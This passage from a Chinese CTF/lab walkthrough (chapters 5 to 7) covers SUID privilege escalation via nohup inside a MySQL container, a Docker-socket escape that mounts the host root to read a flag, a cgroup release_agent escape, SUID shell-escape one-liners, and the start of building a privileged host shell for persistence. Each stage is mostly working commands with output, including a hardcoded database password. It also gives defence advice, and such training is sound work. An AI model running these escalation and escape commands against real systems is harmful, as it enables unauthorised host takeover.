成功在 MySQL 容器中获取命令执行权限。

4.8 UDF 提权防御建议

  1. 限制 FILE 权限:不要给普通用户 FILE 权限
  2. 设置 secure_file_priv:限制文件读写目录
  3. 最小权限原则:应用程序使用低权限数据库用户
  4. 监控 plugin 目录:监控 plugin 目录的文件变化

第五章 MySQL 容器内 SUID 提权获取 Flag2

5.1 攻击思路的形成

5.1.1 当前位置与目标

在上一章中,已经通过 MySQL UDF 获取了 MySQL 容器的命令执行权限。需要明确当前的攻击位置:

层级位置当前状态
宿主机10.10.1.187尚未访问
Web 容器www-data 用户已获取(第三章)
MySQL 容器mysql 用户 (uid=999)当前位置

重要说明:本章的目标是在 MySQL 容器内部进行提权,从 mysql 用户提升到 root 用户,以读取容器内的 /flag 文件。这不是 Docker 逃逸——我们仍然在 MySQL 容器内部操作,只是提升了容器内的权限。

5.1.2 为什么需要提权?

当前用户是 mysql(uid=999),权限有限。通过检查发现容器内存在 /flag 文件,但权限为 -r--------(只有 root 可读)。因此需要在容器内部找到提权方法。

常见的 Linux 提权方法

方法原理检查命令
SUID 提权利用具有 SUID 权限的程序find / -perm -u=s -type f
sudo 提权利用 sudo 配置不当sudo -l
内核漏洞利用内核漏洞提权uname -r
定时任务利用 cron 任务cat /etc/crontab
敏感文件读取密码文件等cat /etc/shadow

5.2 SUID 权限原理

5.2.1 什么是 SUID?

SUID(Set User ID)是 Linux 文件权限的一种特殊标志。当一个可执行文件设置了 SUID 位后,任何用户执行该文件时,都会以文件所有者的权限运行,而不是执行者自己的权限。

示例

bash复制# 查看 passwd 命令的权限
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 59640 Mar 22  2019 /usr/bin/passwd
#   ^
#   s 表示设置了 SUID 位

passwd 命令需要修改 /etc/shadow 文件(只有 root 可写),因此设置了 SUID 位,使普通用户也能修改自己的密码。

5.2.2 SUID 提权的原理

如果一个具有 SUID 权限的程序存在漏洞或设计缺陷,攻击者可以利用它以 root 权限执行任意命令。

5.3 查找 SUID 文件

在 MySQL 容器中查找具有 SUID 权限的文件:

bash复制# 查找 SUID 文件并写入临时文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('find / -perm -u=s -type f 2>/dev/null > /tmp/suid.txt');" mysql

# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/suid.txt');" mysql

# 读取 SUID 文件列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/suid.txt');" mysql

返回结果(发现的 SUID 文件)

/usr/bin/chage      # 修改用户密码过期信息
/usr/bin/gpasswd    # 管理组密码
/usr/bin/newgrp     # 切换用户组
/usr/bin/nohup      # 后台运行命令 <-- 异常!

5.3.1 为什么 nohup 有 SUID 权限是异常的?

正常情况下,nohup 命令不应该具有 SUID 权限。nohup 的功能是让命令在用户退出终端后继续运行,这个功能不需要 root 权限。

如果 nohup 具有 SUID 权限,意味着:

  • 任何用户都可以通过 nohup 以 root 权限执行命令
  • 这是一个严重的安全配置错误

5.4 检查 flag 文件权限

bash复制# 查看根目录文件列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('ls -la / > /tmp/root_ls.txt');" mysql

# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/root_ls.txt');" mysql

# 读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/root_ls.txt');" mysql

返回结果

-r-------- 1 root root 44 Jan 18 13:55 flag

/flag 文件权限为 -r--------,只有 root 用户可读。当前用户是 mysql,无法直接读取。

5.5 利用 SUID nohup 读取 Flag2

5.5.1 利用原理

由于 nohup 具有 SUID 权限且所有者是 root,通过 nohup 执行的命令将以 root 权限运行。因此可以使用 nohup cat /flag 来读取只有 root 可读的文件。

5.5.2 执行提权

bash复制# 使用 nohup 执行 cat 命令读取 flag
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/f.txt 2>&1');" mysql

# 修改输出文件权限以便读取
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/f.txt');" mysql

# 读取 flag 内容
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/f.txt');" mysql

获取 Flag2flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75}

5.6 SUID 提权的其他常见场景

在实际渗透测试中,以下 SUID 程序也可能被利用:

程序利用方法
findfind . -exec /bin/sh -p \;
vim:!sh 或 :shell
pythonpython -c 'import os; os.system("/bin/sh")'
bashbash -p
cp覆盖 /etc/passwd 或 /etc/shadow

推荐资源GTFOBins 收录了大量 SUID 程序的利用方法。

5.7 SUID 提权防御建议

  1. 最小化 SUID 程序:定期审计并移除不必要的 SUID 权限bash复制# 查找所有 SUID 文件 find / -perm -u=s -type f 2>/dev/null # 移除不必要的 SUID 权限 chmod u-s /path/to/file
  2. 使用 Linux capabilities:用细粒度的 capabilities 替代 SUIDbash复制# 使用 capabilities 替代 SUID setcap cap_net_bind_service=+ep /path/to/program
  3. 容器安全加固:在 Docker 容器中移除不必要的 SUID 位dockerfile复制# 在 Dockerfile 中移除所有 SUID 位 RUN find / -perm -u=s -type f -exec chmod u-s {} \;
  4. 定期安全审计:使用自动化工具定期检查 SUID 配置

第六章 Docker 逃逸获取 Flag3

6.1 攻击思路的形成

6.1.1 当前攻击进度回顾

在前几章中,我们已经完成了以下攻击路径:

┌─────────────────────────────────────────────────────────────────
                       攻击路径回顾                              
├─────────────────────────────────────────────────────────────────┤
  第一章:信息收集 → 发现 SQL 注入点                              
      ↓                                                          
  第二章:SQL 注入 → 获取 flag1 + 数据库信息                      
      ↓                                                          
  第三章:文件上传 → Web 容器 RCE (www-data)                      
      ↓                                                          
  第四章:MySQL UDF → MySQL 容器 RCE (mysql 用户)                 
      ↓                                                          
  第五章:SUID 提权 → MySQL 容器 root → 获取 flag2                
      ↓                                                          
  第六章:容器 → 宿主机 → flag3                                    
└─────────────────────────────────────────────────────────────────┘

在上一章中,我们通过 SUID 提权获取了 MySQL 容器内的 flag2。但作为渗透测试人员,需要继续探索:是否还有其他目标?是否可以突破容器边界?

6.2 Docker 容器逃逸原理精讲

教学重点:本节深入讲解 Docker 容器逃逸的底层原理,帮助学员理解为什么某些配置会导致安全风险,以及攻击者是如何利用这些风险的。

6.2.1 Docker 架构与安全边界

Docker 采用 客户端-服务器(C/S)架构

┌─────────────────────────────────────────────────────────────────────────┐
│                        Docker 架构示意图                                 │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│   ┌──────────────┐         ┌──────────────────────────────────────┐    │
│   │ Docker CLI   │         │         Docker Daemon (dockerd)      │    │
│   │ (docker命令) │ ──────► │  - 管理镜像、容器、网络、存储卷       │    │
│   └──────────────┘   API   │  - 监听 /var/run/docker.sock        │    │
│                            │  - 以 root 权限运行                   │    │
│                            └──────────────────────────────────────┘    │
│                                          │                              │
│                                          │ 创建/管理                    │
│                                          ▼                              │
│   ┌─────────────┐  ┌─────────────┐  ┌─────────────┐                    │
│   │  容器 A     │  │  容器 B     │  │  容器 C     │                    │
│   │ (隔离环境)  │  │ (隔离环境)  │  │ (隔离环境)  │                    │
│   └─────────────┘  └─────────────┘  └─────────────┘                    │
│                                                                         │
│   ════════════════════════════════════════════════════════════════     │
│                           宿主机内核 (Linux Kernel)                     │
│   ════════════════════════════════════════════════════════════════     │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

关键组件说明

组件说明安全影响
Docker Daemon后台服务进程,以 root 权限运行控制 Daemon = 控制宿主机
Docker SocketUnix 套接字 /var/run/docker.sock访问 Socket = 访问 Daemon
Docker APIRESTful API,通过 Socket 通信API 无认证机制
容器基于 namespace 和 cgroup 的隔离环境隔离可被突破

6.2.2 为什么 Docker Socket 暴露是致命的?

核心问题:Docker Daemon 以 root 权限运行,且 Docker API 默认无认证

当容器内可以访问 /var/run/docker.sock 时,攻击者可以:

┌─────────────────────────────────────────────────────────────────────────┐
│                    Docker Socket 暴露的攻击路径                          │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│   攻击者在容器内                                                         │
│        │                                                                │
│        ▼                                                                │
│   访问 /var/run/docker.sock                                             │
│        │                                                                │
│        ▼                                                                │
│   调用 Docker API(无需认证)                                            │
│        │                                                                │
│        ├──► 创建特权容器                                                │
│        │         │                                                      │
│        │         ▼                                                      │
│        │    挂载宿主机根目录 /:/host                                     │
│        │         │                                                      │
│        │         ▼                                                      │
│        │    读写宿主机任意文件                                           │
│        │                                                                │
│        ├──► 执行宿主机命令                                              │
│        │                                                                │
│        └──► 完全控制宿主机                                              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

为什么 Docker API 没有认证?

这是一个设计决策而非漏洞:

  • Docker 假设只有受信任的用户才能访问 Socket
  • Socket 文件权限默认为 srw-rw---- root docker
  • 只有 root 用户或 docker 组成员才能访问

问题出在哪里?

当管理员将 Socket 挂载到容器中时(常见于 CI/CD 场景):

yaml复制# docker-compose.yml 中的危险配置
volumes:
  - /var/run/docker.sock:/var/run/docker.sock

这相当于将宿主机的 root 权限交给了容器

6.2.3 Docker API 关键端点详解

Docker API 是 RESTful 风格的 HTTP API,通过 Unix Socket 通信。以下是攻击中常用的端点:

HTTP 方法端点功能攻击用途
GET/containers/json列出所有容器信息收集
POST/containers/create创建新容器创建特权容器
POST/containers/{id}/start启动容器启动恶意容器
GET/containers/{id}/logs获取容器日志获取命令输出
POST/containers/{id}/exec在容器中执行命令执行恶意命令
GET/images/json列出所有镜像选择基础镜像
DELETE/containers/{id}删除容器清理痕迹

通过 curl 调用 Docker API 的语法

bash复制# 基本语法
curl --unix-socket /var/run/docker.sock http://localhost/<endpoint>

# 示例:列出所有容器
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

# 示例:创建容器(POST 请求需要 JSON body)
curl -s -X POST \
  --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["id"]}' \
  http://localhost/containers/create

6.2.4 容器逃逸的核心技术:挂载宿主机文件系统

关键参数HostConfig.Binds

当创建容器时,可以通过 Binds 参数将宿主机目录挂载到容器内:

json复制{
  "Image": "alpine",
  "Cmd": ["cat", "/host/etc/shadow"],
  "HostConfig": {
    "Binds": ["/:/host"]  // 将宿主机根目录挂载到容器的 /host
  }
}

这意味着什么?

┌─────────────────────────────────────────────────────────────────────────┐
│                        文件系统挂载示意图                                │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│   宿主机文件系统                    新创建的容器                         │
│   ┌─────────────┐                  ┌─────────────────────┐              │
│   │ /           │                  │ /                   │              │
│   │ ├── etc/    │    Binds 挂载    │ ├── host/           │              │
│   │ │   ├── passwd ◄─────────────► │ │   ├── etc/        │              │
│   │ │   ├── shadow                 │ │   │   ├── passwd  │              │
│   │ │   └── ...                    │ │   │   ├── shadow  │              │
│   │ ├── root/   │                  │ │   │   └── ...     │              │
│   │ │   └── .ssh/                  │ │   ├── root/       │              │
│   │ ├── var/    │                  │ │   │   └── .ssh/   │              │
│   │ └── ...     │                  │ │   └── ...         │              │
│   └─────────────┘                  │ └── ...             │              │
│                                    └─────────────────────┘              │
│                                                                         │
│   容器内访问 /host/etc/shadow = 访问宿主机的 /etc/shadow                 │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

6.2.5 特权容器(Privileged Container)的危险性

除了挂载文件系统,还可以创建特权容器

json复制{
  "Image": "alpine",
  "HostConfig": {
    "Privileged": true  // 特权模式
  }
}

特权容器拥有的能力

能力说明安全风险
所有 Linux Capabilities拥有全部 38 种 capabilities可执行任意特权操作
访问所有设备可访问 /dev 下所有设备可直接读写磁盘
禁用 AppArmor/SELinux安全模块被禁用无安全限制
禁用 Seccomp系统调用过滤被禁用可执行任意系统调用
共享宿主机 PID 命名空间可看到宿主机进程可注入宿主机进程

特权容器逃逸示例

bash复制# 在特权容器内,直接挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow

6.2.6 攻击链总结

在本靶机中,完整的 Docker 逃逸攻击链如下:

┌─────────────────────────────────────────────────────────────────────────┐
│                      Docker 逃逸攻击链                                   │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  1. 前置条件                                                            │
│     └── MySQL 容器内有 root 权限(通过 SUID 提权获得)                   │
│     └── 容器内存在 /var/run/docker.sock(管理员错误配置)                │
│                                                                         │
│  2. 信息收集                                                            │
│     └── 确认 Docker Socket 存在且可访问                                 │
│     └── 通过 Docker API 获取可用镜像列表                                │
│                                                                         │
│  3. 创建恶意容器                                                        │
│     └── 使用 Docker API 创建新容器                                      │
│     └── 配置 Binds 挂载宿主机根目录到 /host                             │
│     └── 可选:启用 Privileged 模式获取更多权限                          │
│                                                                         │
│  4. 执行攻击                                                            │
│     └── 启动容器                                                        │
│     └── 容器内执行命令,通过 /host 访问宿主机文件                        │
│     └── 读取 flag、植入后门、窃取凭据等                                 │
│                                                                         │
│  5. 清理痕迹                                                            │
│     └── 删除创建的容器                                                  │
│     └── 清理日志文件                                                    │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

6.2.7 为什么这不是 Docker 的漏洞?

重要澄清:Docker Socket 暴露导致的容器逃逸不是 Docker 的漏洞,而是配置错误

Docker 官方文档明确警告:

"Giving containers access to the Docker socket is equivalent to giving them root access to the host." (给容器访问 Docker Socket 的权限等同于给它们宿主机的 root 权限)

常见的错误配置场景

  1. CI/CD 流水线:Jenkins、GitLab Runner 等需要构建 Docker 镜像
  2. 容器编排工具:Portainer、Rancher 等管理工具
  3. 监控工具:cAdvisor、Prometheus 等需要获取容器信息
  4. 开发环境:Docker-in-Docker (DinD) 场景

正确的做法

  • 使用 Docker-in-Docker (DinD) 而非挂载 Socket
  • 使用 Kaniko、Buildah 等无 daemon 的构建工具
  • 如必须挂载,使用 docker-socket-proxy 限制 API 访问

6.3 实战:检测与利用 Docker Socket

6.3.1 确认当前容器中是否还有其他 flag

首先在 MySQL 容器中搜索所有包含 "flag" 的文件:

bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup find / -name \"*flag*\" -type f 2>/dev/null > /tmp/find_flags.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/find_flags.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/find_flags.txt');" mysql

搜索结果(过滤系统文件后):

/tmp/flag.txt
/flag

只找到了 /flag(已获取的 flag2),当前容器中没有其他 flag。

6.3.2 检查是否存在逃逸到宿主机的可能

既然当前容器中没有更多 flag,需要考虑:是否可以访问宿主机? 检查常见的 Docker 逃逸条件:

bash复制# 检查 Docker Socket 是否存在
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup ls -la /var/run/docker.sock > /tmp/docker_sock.txt 2>&1');" mysql

# 设置文件权限以便读取
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/docker_sock.txt');" mysql

# 读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/docker_sock.txt');" mysql

返回结果

srw-rw---- 1 root 980 0 Jan 18 13:55 /var/run/docker.sock

关键发现:Docker Socket 存在且可访问!这意味着可以与 Docker daemon 通信,有可能访问宿主机文件系统。

6.3.3 探测宿主机是否存在其他 flag

通过 Docker API 创建一个临时容器,挂载宿主机根目录,搜索是否存在其他 flag 文件:

bash复制# 使用 MySQL 直接写入 JSON payload(避免 base64 编码问题)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_payload.json';" mysql

# 创建探测容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\" > /tmp/find_container.json 2>&1');" mysql

第一步:读取创建容器的返回结果,获取容器 ID

bash复制# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/find_container.json');" mysql

# 读取容器创建结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/find_container.json');" mysql

返回结果

json复制{"Id":"a1b2c3d4e5f6...","Warnings":[]}

从返回的 JSON 中提取容器 ID(这里假设为 a1b2c3d4e5f6,实际操作时请使用真实返回的 ID)。

第二步:启动容器

bash复制# 使用上一步获取的容器 ID
CONTAINER_ID='a1b2c3d4e5f6'

# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/start.txt 2>&1');" mysql

# 等待容器执行完成
sleep 2

# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。

第三步:获取容器日志(搜索结果)

bash复制# 获取容器日志
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/find_logs.txt 2>&1');" mysql

# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/find_logs.txt');" mysql

# 读取搜索结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/find_logs.txt');" mysql

返回结果(宿主机上发现的 flag 相关文件)

/host/app/files/flag    # 这是挂载到容器的 flag2
/host/flag              # 这是宿主机根目录的 flag(新发现!)

重要发现:宿主机根目录存在 /flag 文件,这与 MySQL 容器中的 /flag 是不同的文件!这就是 flag3 的位置。

6.3.4 攻击目标确定

通过信息收集,确认了:

  1. MySQL 容器中的 /flag 是 flag2
  2. 宿主机根目录的 /flag 是一个新的 flag(flag3)
  3. 可以通过 Docker Socket 进行容器逃逸来获取 flag3

6.4 查看可用镜像

首先需要知道宿主机上有哪些 Docker 镜像可用:

bash复制# 获取镜像列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\" > /tmp/img.json 2>&1');" mysql

# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/img.json');" mysql

# 读取镜像列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/img.json');" mysql

返回结果(JSON 格式,包含镜像信息):

json复制[{"Id":"sha256:...","RepoTags":["mysql:5.7"],...},{"Id":"sha256:...","RepoTags":["php:7.4.9-apache"],...},...]

可用镜像

  • mysql:5.7 - MySQL 数据库镜像
  • php:7.4.9-apache - PHP Web 服务镜像
  • app_web:latest - 应用 Web 镜像

选择 mysql:5.7 镜像来创建逃逸容器(因为它已经存在,不需要下载)。

6.5 创建逃逸容器

6.5.1 构造 API 请求

创建容器的 API 请求需要一个 JSON 格式的请求体,包含:

  • Image:使用的镜像名称
  • Cmd:容器启动后执行的命令
  • HostConfig.Binds:目录挂载配置
json复制{
  "Image": "mysql:5.7",
  "Cmd": ["cat", "/host/flag"],
  "HostConfig": {
    "Binds": ["/:/host"]
  }
}

配置解释

  • "Image": "mysql:5.7":使用 mysql:5.7 镜像
  • "Cmd": ["cat", "/host/flag"]:容器启动后执行 cat /host/flag
  • "Binds": ["/:/host"]:将宿主机的 / 挂载到容器的 /host

6.5.2 执行 API 请求

重要说明:由于 mysql 用户(uid=999)没有权限直接访问 docker.sock(属于组 980),我们需要使用 SUID nohup 以 root 权限执行 curl 命令。

步骤 1:使用 MySQL 的 SELECT INTO OUTFILE 写入 JSON payload

这种方法比 base64 编码更可靠,避免了 shell 转义问题:

bash复制# 使用 MySQL 直接写入 JSON payload 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/docker_payload.json';" mysql

验证 payload 文件内容

bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/docker_payload.json');" mysql

返回结果

json复制{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}

步骤 2:调用 Docker API 创建容器

bash复制# 使用 SUID nohup 以 root 权限执行 curl(因为 mysql 用户没有 docker.sock 访问权限)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/docker_payload.json http://localhost/containers/create\" > /tmp/container_create.json 2>&1');" mysql

# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/container_create.json');" mysql

# 读取容器创建结果,获取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/container_create.json');" mysql

返回结果

json复制{"Id":"44b7a0c0eab18367dba0677997d4023ba7321a135c97c5eba385527d8c83e272","Warnings":[]}

容器创建成功,返回了容器 ID。请记录这个 ID,后续步骤需要使用

6.6 启动容器并获取 Flag3

6.6.1 启动容器

容器创建后处于停止状态,需要调用 /containers/{id}/start API 启动它:

使用上一步获取的容器 ID:

bash复制# 设置容器 ID 变量(使用上一步返回的实际 ID)
CONTAINER_ID='44b7a0c0eab18367dba0677997d4023ba7321a135c97c5eba385527d8c83e272'

# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/container_start.txt 2>&1');" mysql

# 等待容器执行完成(容器执行 cat 命令后会自动退出)
sleep 2

# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/container_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/container_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。

6.6.2 获取容器输出

容器执行 cat /host/flag 后会退出,输出内容保存在容器日志中。通过 /containers/{id}/logs API 获取:

bash复制# 获取容器日志(flag3 内容)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/flag3_output.txt 2>&1');" mysql

# 设置文件权限(重要:否则 LOAD_FILE 可能无法读取)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/flag3_output.txt');" mysql

# 读取 flag3
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/flag3_output.txt');" mysql

返回结果(注意:输出开头可能包含 Docker 日志的二进制头信息):

flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}

成功获取 Flag3flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}

6.7 Docker 逃逸的其他方法

除了 Docker Socket 挂载,还有其他常见的 Docker 逃逸方法:

6.7.1 特权容器逃逸

如果容器以 --privileged 模式运行,可以直接访问宿主机设备:

bash复制# 检查是否为特权容器
cat /proc/1/status | grep CapEff
# 如果值为 0000003fffffffff,则为特权容器

# 挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/flag

6.7.2 cgroup 逃逸(CVE-2022-0492)

利用 cgroup v1 的 release_agent 机制逃逸:

bash复制# 创建 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 设置 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
echo "#!/bin/sh" > /cmd
echo "cat /flag > /tmp/flag" >> /cmd
chmod +x /cmd
echo "/cmd" > /tmp/cgrp/release_agent

# 触发 release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

6.8 Docker 逃逸防御建议

  1. 不要挂载 Docker socketyaml复制# docker-compose.yml 中避免这样的配置 volumes: - /var/run/docker.sock:/var/run/docker.sock # 危险!
  2. 不要使用特权容器bash复制# 避免使用 --privileged docker run --privileged ... # 危险! # 使用最小权限 docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...
  3. 使用 rootless Dockerbash复制# 以非 root 用户运行 Docker daemon dockerd-rootless-setuptool.sh install
  4. 启用安全策略bash复制# 使用 AppArmor docker run --security-opt apparmor=docker-default ... # 使用 Seccomp docker run --security-opt seccomp=/path/to/seccomp.json ...
  5. 使用只读文件系统bash复制docker run --read-only ...
  6. 限制资源访问bash复制# 禁止访问宿主机网络 docker run --network=none ... # 禁止访问宿主机 PID 命名空间 docker run --pid=container:other_container ...

第七章 宿主机后渗透与持久化

在获取 flag3 后,渗透测试并未结束。在真实的 APT(高级持续性威胁)攻击场景中,攻击者会进一步巩固对宿主机的控制,建立持久化后门,为后续的横向移动和数据窃取做准备。

7.1 宿主机信息收集

7.1.1 获取交互式 Shell

首先,通过 Docker 逃逸获取宿主机的交互式 Shell:

bash复制# 使用 MySQL 直接写入 JSON payload 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/bash\"],\"Tty\":true,\"OpenStdin\":true,\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true}}' INTO OUTFILE '/tmp/shell_payload.json';" mysql

# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/shell_payload.json http://localhost/containers/create?name=shell_container\" > /tmp/shell_create.txt 2>&1');" mysql

# 设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/shell_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/shell_create.txt');" mysql

返回结果

json复制{"Id":"...容器ID...","Warnings":[]}

重要:启动容器

创建容器后必须启动它:

bash复制# 使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/shell_start.txt 2>&1');" mysql

# 检查启动结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/shell_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
